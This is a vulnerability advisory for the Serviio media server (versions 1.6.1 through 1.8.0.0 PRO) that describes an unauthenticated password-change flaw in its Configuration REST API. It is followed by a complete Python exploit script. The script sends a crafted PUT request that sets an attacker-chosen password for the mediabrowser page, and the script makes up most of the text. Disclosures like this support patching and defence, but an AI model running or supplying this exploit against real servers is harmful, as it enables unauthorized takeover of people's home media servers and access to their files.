### SummaryServiio is a free media server. It allows you to stream your media files (music, video or images) to renderer devices (e.g. a TV set, Bluray player, games console or mobile phone) on your connected home network.### DescriptionThe version of Serviio installed on the remote Windows/Linux host is affected by an unauthenticated password modification vulnerability due to improper access control enforcement of the Configuration REST API. A remote attacker can exploit this, via a specially crafted request, to change the login password for the mediabrowser protected page.### VendorPetr Nejedly | Six Lines Ltd – http://www.serviio.org### Affected Version* 1.8.0.0 PRO* 1.7.1* 1.7.0* 1.6.1### Tested On* Restlet-Framework/2.2* Windows 7, UPnP/1.0 DLNADOC/1.50, Serviio/1.8* Mac OS X, UPnP/1.0 DLNADOC/1.50, Serviio/1.8* Linux, UPnP/1.0 DLNADOC/1.50, Serviio/1.8
import sysimport xml.etree.ElementTree as ETfrom urllib2 import Request, urlopenif (len(sys.argv) <= 3): print '[*] Usage: serviio_pwd.py <ipaddress> <port> <newpassword>' print '[*] Example: serviio_pwd.py 10.211.55.3 23423 eagle20fox2' exit(0)host = sys.argv[1]port = sys.argv[2] #default port for console is 23423, and for the mediabrowser is 23424.lozi = sys.argv[3]values = """<remoteAccess> <remoteUserPassword>{0}</remoteUserPassword> <preferredRemoteDeliveryQuality>ORIGINAL</preferredRemoteDeliveryQuality> <portMappingEnabled>true</portMappingEnabled> <externalAddress>myserviio.dyndns.com</externalAddress></remoteAccess>"""put = values.format(lozi)headers = { 'Content-Type': 'application/xml', 'Accept': 'application/xml'}request = Request('http://'+host+':'+port+'/rest/remote-access', data=put, headers=headers)request.get_method = lambda: 'PUT'response_body = urlopen(request).read()roottree = ET.fromstring(response_body)for errorcode in roottree.iter('errorCode'): print "\nReceived error code: "+errorcode.textprint 'Password successfully changed to: '+loziprint 'Go to: http://'+host+':23424/mediabrowser\n'